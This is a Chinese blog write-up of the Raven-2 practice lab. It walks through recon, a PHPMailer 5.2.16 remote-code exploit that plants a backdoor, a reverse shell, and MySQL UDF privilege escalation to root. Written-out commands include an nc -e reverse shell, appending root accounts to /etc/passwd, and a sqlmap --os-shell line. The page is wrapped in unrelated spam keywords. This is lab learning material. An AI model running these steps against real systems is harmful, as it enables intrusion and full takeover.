最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

項(xiàng)目三:Raven-2

2023-07-06 19:33 作者:沙漠里的鯨  | 我要投稿

#Shell、Bash、Zsh的聯(lián)系與區(qū)別

---Shell(殼):之所以叫殼,是為了和計(jì)算機(jī)的“核”來(lái)區(qū)分,用它表示“為使用者提供的操作界面”,hell也會(huì)泛指所有為用戶提供操作界面的程序

---分為兩類(lèi):命令行(CLI)與圖形界面(GUI)

---按迭代分為:sh 、bash 、Zsh

---查看本地Shell命令

---當(dāng)前shell為zsh,按道理一般都是zsh,不知道為什么要切換bash

---bash上手快,基本直接就可以使用,更適合做腳本解釋器;但是zsh則需要繁雜的配置

#nmap掃描

---同網(wǎng)段主機(jī)掃描:?nmap -sP 192.168.180.0/24

---Windows主機(jī)在VM8的IP:192.168.180.1

---那么192.168.180.2和192.168.180.254分別是我的光貓(接的電視)和路由器(接在光貓上),然后我的Windows主機(jī)接在路由器上

---靶機(jī)的地址:192.168.180.136

---掃描全端口和OS:nmap -sS 192.168.180.136 -p- -sV -O

---先訪問(wèn)80的Web,可以看看源碼、頁(yè)腳、主頁(yè)內(nèi)容等是否存在網(wǎng)站的框架信息

---首先,我們利用WhatWeb識(shí)別Web的一些信息,是不是CMS

---查看數(shù)據(jù)包,這里也沒(méi)有識(shí)別出什么信息

---采用dirb爆破Web的后臺(tái)目錄和敏感文件,并且存在dirb.txt文件中:

---打開(kāi)文件發(fā)現(xiàn)存在vendor目錄,以及wordpress目錄等

---所以這很可能是一個(gè)叫wordpress的CMS

---192.168.180.136:80/wordpress/wp-admin/因該是管理員登陸界面,但是我直接訪問(wèn)失敗

---但是我訪問(wèn)http://192.168.180.136:80/wordpress/wp-admin/admin.php卻被重定向了

---但是通過(guò)網(wǎng)站后臺(tái)爆破,發(fā)現(xiàn)了是PHP語(yǔ)言,很可能是WordPress(WordPress這個(gè)世界上最受歡迎的博客構(gòu)建平臺(tái)之一,PHP語(yǔ)言開(kāi)發(fā))

---參考Think PHP5的框架

---application:應(yīng)用目錄(可設(shè)置),主要是配置文件,如數(shù)據(jù)庫(kù)配置(database.php)、應(yīng)用(公共)配置文件config.php)、路由配置文件(route.php)、應(yīng)用公共(函數(shù))文件(common.php

---extend:擴(kuò)展類(lèi)庫(kù)目錄(可定義)

---public:WEB 部署目錄(對(duì)外訪問(wèn)目錄),如static靜態(tài)資源存放目錄(css,js,image)、應(yīng)用入口文件(index.php)、快速測(cè)試文件(router.php)、.htaccess 用于 apache 的重寫(xiě)

---runtime:應(yīng)用的運(yùn)行時(shí)目錄(可寫(xiě),可設(shè)置)

---vendor:第三方類(lèi)庫(kù)目錄(Composer)

---thinkphp:框架系統(tǒng)目錄

---dirb默認(rèn)使用的爆破字典 /usr/share/dirb/wordlists/common.txt

---點(diǎn)擊logo會(huì)進(jìn)入Wordpress界面

#在192.168.180.136/vendor/存在目錄遍歷漏洞

---很多網(wǎng)站功能設(shè)計(jì)人員會(huì)把需要訪問(wèn)的文件定義成變量,以此使前端功能更加靈活

---當(dāng)用戶發(fā)起一個(gè)前端請(qǐng)求時(shí),文件變量傳遞到后臺(tái),后臺(tái)再執(zhí)行其對(duì)應(yīng)的文件

---后臺(tái)沒(méi)有對(duì)前端傳過(guò)來(lái)文件變量進(jìn)行審核,攻擊者會(huì)通過(guò)“../”的方法打開(kāi)或執(zhí)行其他文件

---從而導(dǎo)致后臺(tái)服務(wù)器上其他目錄的文件結(jié)果被遍歷出來(lái),形成目錄遍歷漏洞

---這里的話,因該是配置失誤(該目錄下沒(méi)有設(shè)置首頁(yè)),以及網(wǎng)站沒(méi)有禁止目錄瀏覽

---點(diǎn)擊PATH路徑:http://192.168.180.136//vendor/PATH

---這里發(fā)現(xiàn)網(wǎng)站的根目錄/var/www/html/

---點(diǎn)擊Readme.md(網(wǎng)站的建站描述附件)

---發(fā)現(xiàn)網(wǎng)站存在一個(gè)插件:PHPMailer(用于發(fā)送電子郵件的 PHP 插件)

---在http://192.168.180.136//vendor/SECURITY.md發(fā)現(xiàn)關(guān)于PHPMailer的漏洞提示

---http://192.168.180.136//vendor/VERSION中提示:5.2.16(可能是PHPMailer的版本)

#思路1:根據(jù)PHPMailer5.2.16版本的exp進(jìn)行Webshell獲取

---谷歌搜索:phpmailer5.2.16 exploit,發(fā)現(xiàn)遠(yuǎn)程命令執(zhí)行

---查看exp:EDB-ID:40974;CVE:2016-10033

---1.下載漏洞環(huán)境;2.在Payload里面配置IP和端口;3.在Kail監(jiān)聽(tīng)端口;4.運(yùn)行python的exp ??

---查找漏洞庫(kù),將exp復(fù)制到用戶目錄下

---locate,定位的意思,作用是讓使用者可以快速的搜尋系統(tǒng)中是否有指定的文件

---1)"locate"的速度比"find"快,因?yàn)樗⒉皇钦娴牟檎椅募?,而?strong>查數(shù)據(jù)庫(kù)

---2) 新建的文件,我們立即用"locate"命令去查找,一般是找不到的,因?yàn)?strong>數(shù)據(jù)庫(kù)的更新不是實(shí)時(shí)的,數(shù)據(jù)庫(kù)的更新時(shí)間由系統(tǒng)維護(hù)

---3) "locate"命令所搜索的后臺(tái)數(shù)據(jù)庫(kù)在"/var/lib/mlocate"這個(gè)目錄下,可能有些Linux系統(tǒng)位置不同,具體我們可以用"locate locate"查詢

---4) 我們可以用"updatedb"命令來(lái)更新數(shù)據(jù)庫(kù),這樣就能查詢到剛才新建的文件了

---locate命令的用法

---進(jìn)入/home/huangbo目錄,然后利用vi打開(kāi)(gedit打開(kāi)不了)

---將目標(biāo)地址的IP和位置,當(dāng)我們?cè)L問(wèn)contact.php的時(shí)候,就會(huì)生成huangbo.php的后門(mén)

---修改PHP系統(tǒng)執(zhí)行的代碼,將shell設(shè)置為Kail的IP地址和端口,

---下面也要修改后門(mén)的名稱,并且存放在網(wǎng)站根目錄

---利用Python3執(zhí)行:python 40974.py,發(fā)現(xiàn)返回200,文件生成成功

---重開(kāi)一個(gè)終端,監(jiān)聽(tīng)6666端口:nc -lvp 6666

---然后去瀏覽器訪問(wèn)?http://192.168.180.136/contact.php就會(huì)生成huangbo.php

---然后直接訪問(wèn)http://192.168.180.136/huangbo.php,發(fā)現(xiàn)監(jiān)聽(tīng)的端口收到反彈shell

---將偽Shell提升到Pty:python -c 'import pty;pty.spawn("/bin/bash")'

#linux關(guān)于進(jìn)程掛起和恢復(fù)的命令

---gedit使用ctrl +Z進(jìn)程掛起

---用jobs查看其運(yùn)行的號(hào)碼,發(fā)現(xiàn)只有一個(gè)后臺(tái)程序,其后代號(hào)碼為1

---使用bg 1讓其運(yùn)行在后臺(tái),可以看到這個(gè)程序又開(kāi)始在后臺(tái)運(yùn)行了

---fg 1讓他運(yùn)行在前臺(tái),這樣我們可以看到這個(gè)程序的進(jìn)程,但也必須得去處理在個(gè)程序

#stty命令:用來(lái)改變并打印終端行設(shè)置的常用命令

---stty raw是設(shè)置終端為原始模式。在原始模式下,終端不會(huì)對(duì)輸入進(jìn)行特殊處理,字符將被直接傳遞給程序。特殊字符(如 Ctrl+C 或 Ctrl+Z)不會(huì)產(chǎn)生默認(rèn)行為,直接傳遞給程序處理

----echostty 命令的用于禁止回顯,在用戶輸入字符時(shí),終端會(huì)將字符顯示在屏幕上

---我這里有問(wèn)題,fg恢復(fù)進(jìn)程后沒(méi)有彈出shell(在Kail本機(jī)上也是這樣),我輸入回車(chē)的時(shí)候變成了^M又是一些奇怪的編碼問(wèn)題

---上網(wǎng)查了一下,發(fā)現(xiàn)別人也遇到了這個(gè)問(wèn)題

---彈shell到阿里云上,然后重復(fù)上面的步驟,當(dāng)我執(zhí)行到重置stty的時(shí)候,它會(huì)像卡了一樣,但其實(shí)不是它卡了,而是我們重置的原因我們看不到輸入的內(nèi)容,但是實(shí)際上還是在輸入(這就像你輸入密碼的時(shí)候一樣),輸入fg回車(chē)

---查看當(dāng)前終端和stty信息

---緊接著reset執(zhí)行刷新一下屏幕,看著更和諧;

---它會(huì)詢問(wèn)你終端類(lèi)型,根據(jù)第一步的信息來(lái)輸入

---按回車(chē)之后,shell變成了bash

---注意:這里僅限/bin/bash模式才能使用stty

---設(shè)置環(huán)境變量

#find命令:在指定目錄下查找文件

---格式:find ?目錄 ?-選項(xiàng) ?動(dòng)作[-print -exec -ok ...]

---常用選項(xiàng)

---常用動(dòng)作

---查找根目錄下的包含flag的文件,

---*表示通配符,一般用[a-z],[0-9],[A-Z],[a-z0-9]

---這里匹配到了flag2.txt和flag3.png,其它的被拒絕是由于不是root用戶,需要進(jìn)行提權(quán)

---查看flag2.txt

---瀏覽器訪問(wèn)flag3.png

---進(jìn)入wordpress的目錄,config文件是最重要的

---config、conn、sql、data、inc、database等也是可能存在數(shù)據(jù)庫(kù)密碼

----cat ?wp-config.php,里面存在數(shù)據(jù)庫(kù)名和密碼(但是一般網(wǎng)站的數(shù)據(jù)庫(kù)都拒絕遠(yuǎn)程登陸)

---這里發(fā)現(xiàn)了數(shù)據(jù)庫(kù)是Mysql數(shù)據(jù)庫(kù)

---nmap掃描發(fā)現(xiàn)3306端口沒(méi)有打開(kāi),但是可以通過(guò)shell直接登陸Mysql

#Mysql的UDF提權(quán)

---:mysql -uroot -pR@v3nSecurity ????????//登陸Mysql

---:select version();? ????????????????????????????????//查看版本

---Mysql主要存在以下幾種:

----查看數(shù)據(jù)庫(kù),里面存在者三個(gè)表:information_schema 、mysql、performance_schema是Mysql自帶的數(shù)據(jù)庫(kù),wordpress是Web的數(shù)據(jù)庫(kù)

---INFORMATION_SCHEMA(5.6之前需要手動(dòng)開(kāi)啟,從5.6開(kāi)始默認(rèn)開(kāi)啟,任何用戶可見(jiàn))

---提供對(duì)數(shù)據(jù)庫(kù)元數(shù)據(jù)的訪問(wèn) ,有關(guān)MySQL服務(wù)器的信息(例如數(shù)據(jù)庫(kù)或表的名稱),列的數(shù)據(jù)類(lèi)型或訪問(wèn)權(quán)限。有時(shí)用于此信息的其他術(shù)語(yǔ)是 數(shù)據(jù)字典和 系統(tǒng)目錄

---MYSQL:保存有賬戶信息,權(quán)限信息,存儲(chǔ)過(guò)程,event,時(shí)區(qū)等信息

---PERFORMANCE_SCHEMA:該數(shù)據(jù)庫(kù)中的表 以查看有關(guān)服務(wù)器性能特征及其運(yùn)行的應(yīng)用程序的實(shí)時(shí)信息,有關(guān)詳細(xì)信息

---查看Web數(shù)據(jù)的表

---獲取到網(wǎng)站的用戶名和密碼

---嘗試破解密碼失敗

---查看Mysql是否是root權(quán)限運(yùn)行

---ps a 顯示現(xiàn)行終端機(jī)下的所有程序,包括其他用戶的程序

---ps u 以用戶為主的格式來(lái)顯示程序狀況

---ps x 顯示所有程序,不以終端機(jī)來(lái)區(qū)分。

---所以,ps aux就是打印所有進(jìn)程(后面是關(guān)于mysql的進(jìn)程)

---3306端口執(zhí)行的是root權(quán)限

---dpkg用于:管理系統(tǒng)的里deb包,可以對(duì)其安裝、卸載、deb打包、deb解壓等操作

---顯示安裝關(guān)于mysql包的版本:dpkg -l |grep mysql

---查看secure_file_priv的值

---secure_file_priv是用來(lái)限制load dumpfile,into outfile,load_file()函數(shù)在哪個(gè)目錄下?lián)碛猩蟼骰蛘咦x取文件的權(quán)限(文件導(dǎo)入導(dǎo)出功能)

---show global variables like 'secure%';
---這里發(fā)現(xiàn)secure_file_priv沒(méi)有具體值,也就是MySQL數(shù)據(jù)庫(kù)的自定義函數(shù)load dumpfile,into outfile,load_file()函數(shù)在任何目錄下都可以執(zhí)行,可以提權(quán)

---當(dāng)然,?secure_file_priv的值也可以修改,打開(kāi)my.cnf 或 my.ini,修改后重啟mysql

---也可以使用:show global variables like '%secure_file_priv%';

---如果是 MySQL >= 5.1 的版本,必須把 UDF 的動(dòng)態(tài)鏈接庫(kù)文件放置于 MySQL 安裝目錄下的 lib\plugin 文件夾下文件夾下才能創(chuàng)建自定義函數(shù)。

---查看名為plugin的字符:show variables like '%plugin%';

---/usr/lib/mysql/plugin/是插件的意思,插件庫(kù)文件必須位于MySQL插件目錄中(由plugin_dir系統(tǒng)變量命名的目錄)

---查看Mysql是否能夠遠(yuǎn)程登陸(emmm端口都沒(méi)開(kāi),肯定不能訪問(wèn))

---進(jìn)入mysql數(shù)據(jù)庫(kù),然后查看表:???????????

---user:包含用戶賬戶和全局權(quán)限及其他非權(quán)限列表;db:數(shù)據(jù)庫(kù)級(jí)別的權(quán)限表;
---tables_priv:表級(jí)別的權(quán)限表;columns_priv:列級(jí)別的權(quán)限表;
---proces_priv:存儲(chǔ)過(guò)程和函數(shù)權(quán)限表;proxies_priv:代理用戶權(quán)限表;

---查看user里面的user和host的列,這里發(fā)現(xiàn)只能本地訪問(wèn)

---如果可以遠(yuǎn)程登陸,可以使用MSF進(jìn)行UDF提權(quán)

---在網(wǎng)上搜索到可以賦予用戶遠(yuǎn)程訪問(wèn)權(quán)限

grant all privileges on 庫(kù)名.表名 to '用戶名'@'IP地址' identified by '密碼' with grant option;

---賜予kail靶機(jī)訪問(wèn)Mysql的遠(yuǎn)程登陸權(quán)限,并且設(shè)置用戶名和密碼

grant all privileges on *.* to 'huangbo'@'192.168.180.133' identified by '123456' with grant option;

---發(fā)現(xiàn)現(xiàn)在應(yīng)該可以遠(yuǎn)程登陸了(如果不想限制主機(jī)登陸,設(shè)置為'%'就可以)

---刷新數(shù)據(jù)庫(kù)的權(quán)限,不然容易失敗

---在kail上面遠(yuǎn)程登陸,但是失敗了,猜測(cè)的原因是3306端口沒(méi)打開(kāi)

---谷歌搜索exp進(jìn)行本地提權(quán):MySQL5.x UDF exploit

---MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)

---EDB-ID:1518(這里說(shuō)Mysql的4.x到5.0,但是我們5.5.60版本也能使用emmmm)

---這里就是一個(gè)鏈接庫(kù),放到/usr/lib/mysql/plugin/目錄下,就會(huì)執(zhí)行下面的函數(shù)進(jìn)行提權(quán)

---在exp文件中,我們定義了名為do_system的mysql函數(shù),該函數(shù)可以執(zhí)行系統(tǒng)任意命令。

---如果我現(xiàn)在在Mysql的命令行中輸入‘do_system(‘dir’);’的話,系統(tǒng)會(huì)提示do_system函數(shù)未定義

---因?yàn)槲覀儍H僅是把exp放在了一個(gè)地方,但是并沒(méi)有在Mysql中引入exp中的函數(shù)

---大致流程如下:

---進(jìn)入靶機(jī)的/usr/lib/mysql/plugin/目錄,發(fā)現(xiàn)Mysql的插件都是以.so文件的形式

---我們也需要將C++語(yǔ)言的exp編譯成.so的文件

---回顧以下編譯的過(guò)程

#編譯的過(guò)程
---步驟一:預(yù)處理(預(yù)編譯):編譯處理宏定義等宏命令———生成后綴為“.i”的文件
---步驟二:編譯:將預(yù)處理后的文件轉(zhuǎn)換成匯編語(yǔ)言———生成后綴為“.s”的文件
---步驟三:匯編:由匯編生成的文件翻譯為二進(jìn)制目標(biāo)文件———生成后綴為“.o”的文件
---步驟四:連接:多個(gè)目標(biāo)文件(二進(jìn)制)結(jié)合庫(kù)函數(shù)等綜合成的能直接獨(dú)立執(zhí)行的執(zhí)行文件———生成后綴為“.out”的文件

---gcc常用參數(shù)

---這里進(jìn)行了2次編譯過(guò)程

---gcc參數(shù):-c?表示僅僅匯編及編譯代碼,不進(jìn)行鏈接。也就是將源代碼編譯成.o文件;-g顯示調(diào)試信息

---:share使用動(dòng)態(tài)鏈接庫(kù);將.o的文件編譯成.so的文件

---這條命令將前面生成的目標(biāo)文件raptor_udf2.o-lc選項(xiàng)指定的C標(biāo)準(zhǔn)庫(kù)(libc)鏈接起來(lái),并生成一個(gè)名為raptor_udf2.so的共享庫(kù)

----Wl,-soname,raptor_udf2.so用于指定共享庫(kù)的soname(共享對(duì)象名稱),-o raptor_udf2.so用于指定生成的共享庫(kù)的輸出文件名

---在Linux系統(tǒng)中,共享庫(kù)文件通常有兩個(gè)名稱:實(shí)際文件名(參數(shù)-o)soname。實(shí)際文件名是共享庫(kù)的文件系統(tǒng)名稱,而soname是用于動(dòng)態(tài)鏈接的名稱

---使用-o選項(xiàng)指定輸出文件名足以生成共享庫(kù),而-Wl,-soname選項(xiàng)是可選的,用于顯式地指定共享庫(kù)的soname,以滿足特定的需求或要求(感謝Chatgpt!!!)

---根據(jù)漏洞編號(hào)查找exp的位置

---將exp復(fù)制到用戶目錄下,并且開(kāi)啟http服務(wù)

---靶機(jī)在/tmp目錄下下載exp

---直接在靶機(jī)編譯出錯(cuò)了

---在Kail上編譯好了再發(fā)送到靶機(jī)

----lc:表示編譯c文件,鏈接c庫(kù),gcc默認(rèn)編譯c文件和鏈接c庫(kù),當(dāng)編譯c文件時(shí)可以不用額外加該選項(xiàng)(這里應(yīng)該是鏈接的意思)

---靶機(jī)下載并且賦予執(zhí)行權(quán)限

----在mysql數(shù)據(jù)庫(kù),創(chuàng)建dayu的表

---這里是創(chuàng)建名為dayu的表,存一列名為:line,類(lèi)型是blob(BLOB類(lèi)型的字段用于存儲(chǔ)二進(jìn)制數(shù)據(jù))

---MySQL的四種BLOB類(lèi)型:類(lèi)型 大小(單位:字節(jié))
---1.TinyBlob ???????????? 最大 255
---2.Blob ??????????????????? 最大 65K
---3.MediumBlob ?????? 最大 16M
---4.LongBlob ??? ????????最大 4G

---查看創(chuàng)建的表的格式(selet查看不了,因?yàn)槭强毡恚?/p>

---desc是MySQL中的一個(gè)命令,全稱為describe,用來(lái)查看表結(jié)構(gòu)的詳細(xì)信息。通過(guò)desc命令可以查看表中各個(gè)字段的數(shù)據(jù)類(lèi)型、是否可以為空等信息

---在表里面插入數(shù)據(jù):insert into dayu values(load_file('/tmp/dayu.so'));

---但是這里直接查看是亂碼(這里因該是將dayu.so文件加載到了dayu表中的line列的值)

---將dayu表里面line列的值,導(dǎo)出到/usr/lib/mysql/plugin/目錄下

---為什么不直接將dayu.so文件放到/usr/lib/mysql/plugin/目錄下呢?是因?yàn)橛肕ysql導(dǎo)出的文件,是具有root權(quán)限,所以dayu.so文件執(zhí)行里面的do_system()函數(shù)才會(huì)以root權(quán)限執(zhí)行

---采用dumpfile函數(shù)把文件導(dǎo)出,outfile 多行導(dǎo)出,dumpfile一行導(dǎo)出
---outfile會(huì)有特殊的轉(zhuǎn)換,而dumpfile是原數(shù)據(jù)導(dǎo)出!

---select * from dayu into dumpfile '/usr/lib/mysql/plugin/dayu.so';

---接下來(lái)我們要加載我們dayu.so(動(dòng)態(tài)鏈接庫(kù))文件的自定義的do_system()函數(shù)

---定義了一個(gè)名為do_system的函數(shù),該函數(shù)返回integer的整數(shù)值

---do_system是一個(gè)自定義函數(shù),它利用dayu.so共享庫(kù)中的功能來(lái)執(zhí)行一些系統(tǒng)級(jí)操作,且該函數(shù)依賴于dayu.so共享庫(kù)(/usr/lib/mysql/plugin/目錄下)

---這里導(dǎo)出so文件和根據(jù)導(dǎo)出的dayu.so文件創(chuàng)建自定義函數(shù)成功了

---create function do_system returns integer soname 'dayu.so';

---查詢Mysql數(shù)據(jù)庫(kù)的func表:?select * from mysql.func;

---調(diào)用do_system函數(shù)來(lái)給find命令所有者的suid權(quán)限,使其可以執(zhí)行root命令:

---為什么要使用find命令呢?因?yàn)閒ind命令可以在查找到文件后,可以執(zhí)行命令

---查看find的安裝位置、創(chuàng)建用戶,以及是否擁有Suid權(quán)限

---如果存在SuiD就可能會(huì)存在SUID提權(quán),-u=s代表SUID權(quán)限

---?查找有suid屬性權(quán)限的文件:find / -perm -u=s -type f 2>/dev/null

---2>/dev/null:將錯(cuò)誤輸出(stderr)重定向到空設(shè)備,丟棄任何錯(cuò)誤消息(0,1,2分別代表:標(biāo)準(zhǔn)輸入、標(biāo)準(zhǔn)輸出、標(biāo)準(zhǔn)錯(cuò)誤)

---能夠使用SUID提權(quán)的三個(gè)命令:cp、find、vim

#/etc/passwd知識(shí)點(diǎn)

---/etc/passwd的功能(所有用戶均可讀/etc/passwd,只有超級(jí)用戶可以寫(xiě)/etc/passwd):

---所有用戶的用于讀取的必要信息,包括用戶的①名稱②登錄口令情況③用戶ID④所屬組ID⑤用戶的全稱等其它詳細(xì)信息⑥用戶的home目錄⑦用戶的默認(rèn)登錄shell

---登錄口令部分:設(shè)置了登錄口令,則填入x;沒(méi)有設(shè)置登錄口令,則填入空。
---用戶ID部分。一般情況,超級(jí)用戶是0系統(tǒng)用戶是1~499,普通用戶是500~65535

---組標(biāo)識(shí)號(hào):記錄用戶所屬的用戶組。它對(duì)應(yīng)著 /etc/group 文件中的一條記錄

---默認(rèn)shell:登錄 Shell用戶登錄后啟動(dòng)的進(jìn)程,也就是用戶與 Linux 系統(tǒng)之間的接口

---Linux 提供了一些管理 /etc/passwd 文件的命令:

#SUID提取知識(shí)點(diǎn)

---這里發(fā)現(xiàn)UDF提權(quán)本身是SUID提權(quán)的一種

---通過(guò)自定義的為find文件賦予Suid權(quán)限

?select do_system('chmod u+s /usr/bin/find');

---查看find文件的權(quán)限,發(fā)現(xiàn)多了一個(gè)s即SUID權(quán)限

---使用find命令進(jìn)行命令執(zhí)行,以\結(jié)束,發(fā)現(xiàn)獲取root權(quán)限

---但是我使用bash就不行,這是由于bash和zsh都是比sh更高級(jí)的交互式shell,在在以SUID權(quán)限執(zhí)行時(shí)會(huì)忽略該權(quán)限,以防止?jié)撛诘陌踩L(fēng)險(xiǎn)

---即使find具有SUID權(quán)限,/bin/bash在啟動(dòng)時(shí)仍會(huì)放棄這些權(quán)限,因此無(wú)法以root權(quán)限運(yùn)行

---所以進(jìn)行SUID提權(quán)的時(shí)候,都是使用的/bin/sh

---這里也可以使用Mysql的do_system函數(shù)直接將數(shù)據(jù)反彈給Kail的/bin/bash

---這里進(jìn)行反彈的話,bash的shell比sh的更高級(jí),還是root權(quán)限,就不需要進(jìn)行SUID提權(quán)

select do_system('nc -nv 192.168.95.128 6677 -e /bin/bash');

---其中 -n 表示禁用 DNS 解析-v 表示顯示詳細(xì)的調(diào)試信息

---其中 -e 表示在建立連接后,將輸入輸出綁定到指定的程序,即將本地主機(jī)的輸入和輸出流重定向到遠(yuǎn)程主機(jī)上執(zhí)行的 /bin/bash

---監(jiān)聽(tīng)kail的6677,發(fā)現(xiàn)是root權(quán)限(這種方式比SUID提權(quán)更好用),

---這里再次嘗試了下stty raw -echo,還是不行

#補(bǔ)充

---將dayu的密碼,進(jìn)行OpenSSL 使用的是 salted SHA-512 算法加密

---dayu 是要生成密碼的明文輸入,OpenSSL 會(huì)生成一個(gè) salt,并將 dayusalt 進(jìn)行哈希運(yùn)算,生成最終的密碼哈希值:$1$IiOr8zAZ$sLjDz3OQS/wc/RACpdJVR1

---關(guān)于SHA的簡(jiǎn)介(和MD5一樣直接加密)

---構(gòu)建/etc/passwd的用戶(這里和cp的SUID提權(quán)一模一樣)

select do_system('echo "dayu:$1$IiOr8zAZ$sLjDz3OQS/wc/RACpdJVR1:0:0:root:/root:/bin/bash" >> /etc/passwd');

---將dayu用戶,并且密碼為dayu的,賦予root權(quán)限,以及/bin/bash的shell

---查看cat /etc/passwd

---/wc/RACpdJVR1: 這是密碼字段,通常在現(xiàn)代系統(tǒng)中是密碼的加密哈希值

---登陸dayu用戶,這里授權(quán)失敗

---可能的原因:這里我是在kail上面生成的密鑰,因該在靶機(jī)上生成;也可能是不能使用openssl的默認(rèn)的SHA-256加密,而是使用MD5加密

---在靶機(jī),用openssl對(duì)abcd的明文,結(jié)合字符串'123'的鹽,進(jìn)行MD5加密

---加密結(jié)果:$1$1*2*3$GDXeco9uaGB.Q0i0wsFCA1

---在Mysql構(gòu)建命令執(zhí)行寫(xiě)入特權(quán)用戶:

select do_system('echo "huangbo:$1$1*2*3$GDXeco9uaGB.Q0i0wsFCA1:0:0:root:/root:/bin/bash" >> /etc/passwd');

---登陸,發(fā)現(xiàn)失敗了,不知道怎么回收

#拓展如果可以遠(yuǎn)程登陸MYSql
mysql_udf_payload
sqlmap -d "mysql://root:root@192.168.245.130:3306/mysql" --os-shell
#知識(shí)點(diǎn)總結(jié):

---1.Linux的三種shell,/bin/sh;/bin/bash/;/bin/sh(SUID提權(quán)一般使用/bin/sh)

---2.dirb爆破Web后臺(tái)目錄以及敏感文件,訪問(wèn)目錄發(fā)現(xiàn)目錄遍歷漏洞(vendor:PHP中存放第三方庫(kù)的目錄)以及CMS(wordpress存在特點(diǎn)的目錄結(jié)構(gòu)/wordpress/wp-admin/)

---3.目錄遍歷漏洞的原因:沒(méi)有禁止目錄流量以及對(duì)前端傳輸?shù)陌?./../的文件未過(guò)濾

---4.在readme.txt中查看敏感信息,發(fā)現(xiàn)Web的插件phpmailer5.2.16(思路:1.目錄遍歷漏洞收集信息2.識(shí)別CMS尋找exp3.識(shí)別Web插件尋找漏洞)

---5.修改phpmailer5.2.16 exp的內(nèi)容

---6.loacte和searchsploit配合使用復(fù)制exp

---7.config、conn、sql、data、inc、database等敏感配置文件查找數(shù)據(jù)庫(kù)的用戶名和密碼

---8.Mysql提權(quán)的三種方式:UDF提權(quán)(區(qū)分5.1版本),MOF提權(quán)(win2003),開(kāi)機(jī)自啟動(dòng)提權(quán)(感覺(jué)不實(shí)用)

---9.secure_file_priv的值的功能:NLL;/tmp;沒(méi)有值(只有這個(gè)可以提權(quán)),show global variables like 'secure%';//注意:這個(gè)是全局變量

---10.grant all privileges on 庫(kù)名.表名 to '用戶名'@'IP地址' identified by '密碼' with grant option;賦予遠(yuǎn)程用戶Mysql登陸權(quán)限

---11.編譯的4個(gè)過(guò)程:預(yù)處理(處理宏,生成.i文件),編譯(轉(zhuǎn)換成匯編,生成.s文件),匯編(匯編生成二進(jìn)制文件),鏈接(將多個(gè)鏈接庫(kù)結(jié)合,生成.out文件)

---12.Mysql的鏈接庫(kù)目錄:/usr/lib/mysql/plugin/;如何通過(guò)在mysql數(shù)據(jù)中,創(chuàng)建blob類(lèi)型的列的表來(lái)存儲(chǔ)二進(jìn)制文件?采用load_file()加載二進(jìn)制文件和insert to將數(shù)據(jù)插入表;采用into dumpfile導(dǎo)出表中的數(shù)據(jù)到特定的目錄文件;根據(jù)Mysql鏈接庫(kù),導(dǎo)出設(shè)置自定義命令執(zhí)行函數(shù)

---13.find命令的7種用法:1.按照文件名或正則表達(dá)式查找2.按不同文件類(lèi)型查找3.按照時(shí)間戳查找文件4.按照大小查找文件5.按照權(quán)限查找文件6.按照所屬用戶權(quán)限查找7.查找后執(zhí)行命令

---14./etc/passwd的功能(用戶均可讀,root可以寫(xiě)):包括用戶的①名稱②登錄口令情況③用戶ID④所屬組ID⑤用戶的全稱等其它詳細(xì)信息⑥用戶的home目錄⑦用戶的默認(rèn)登錄shell

---15.SUID提權(quán)的三種方式1.cp修改/etc/passwd提權(quán)2.find提權(quán)(最好用)3.vim修改/etc/sudoes提權(quán)

---16.Mysql命令執(zhí)行,通過(guò)nc -nv -e將數(shù)據(jù)發(fā)送到kail的/bin/bash

---17.Python通過(guò)pty提升到/bin/bash,通過(guò)stty raw -echo進(jìn)一步提升shell

---18.openssl 通過(guò)md5加密獲取明文密碼,寫(xiě)入/etc/passwd,su進(jìn)行用戶登陸


項(xiàng)目三:Raven-2的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國(guó)家法律
东宁县| 太康县| 阜城县| 垦利县| 大洼县| 博白县| 花莲市| 弥勒县| 海林市| 扎囊县| 南岸区| 临泉县| 乡城县| 永丰县| 美姑县| 商城县| 化州市| 崇义县| 玉屏| 沛县| 罗城| 滕州市| 金昌市| 庆云县| 南陵县| 富裕县| 株洲市| 修武县| 武强县| 长沙市| 苍山县| 灯塔市| 墨竹工卡县| 通江县| 潮州市| 临安市| 尼玛县| 淳化县| 钟祥市| 资中县| 斗六市|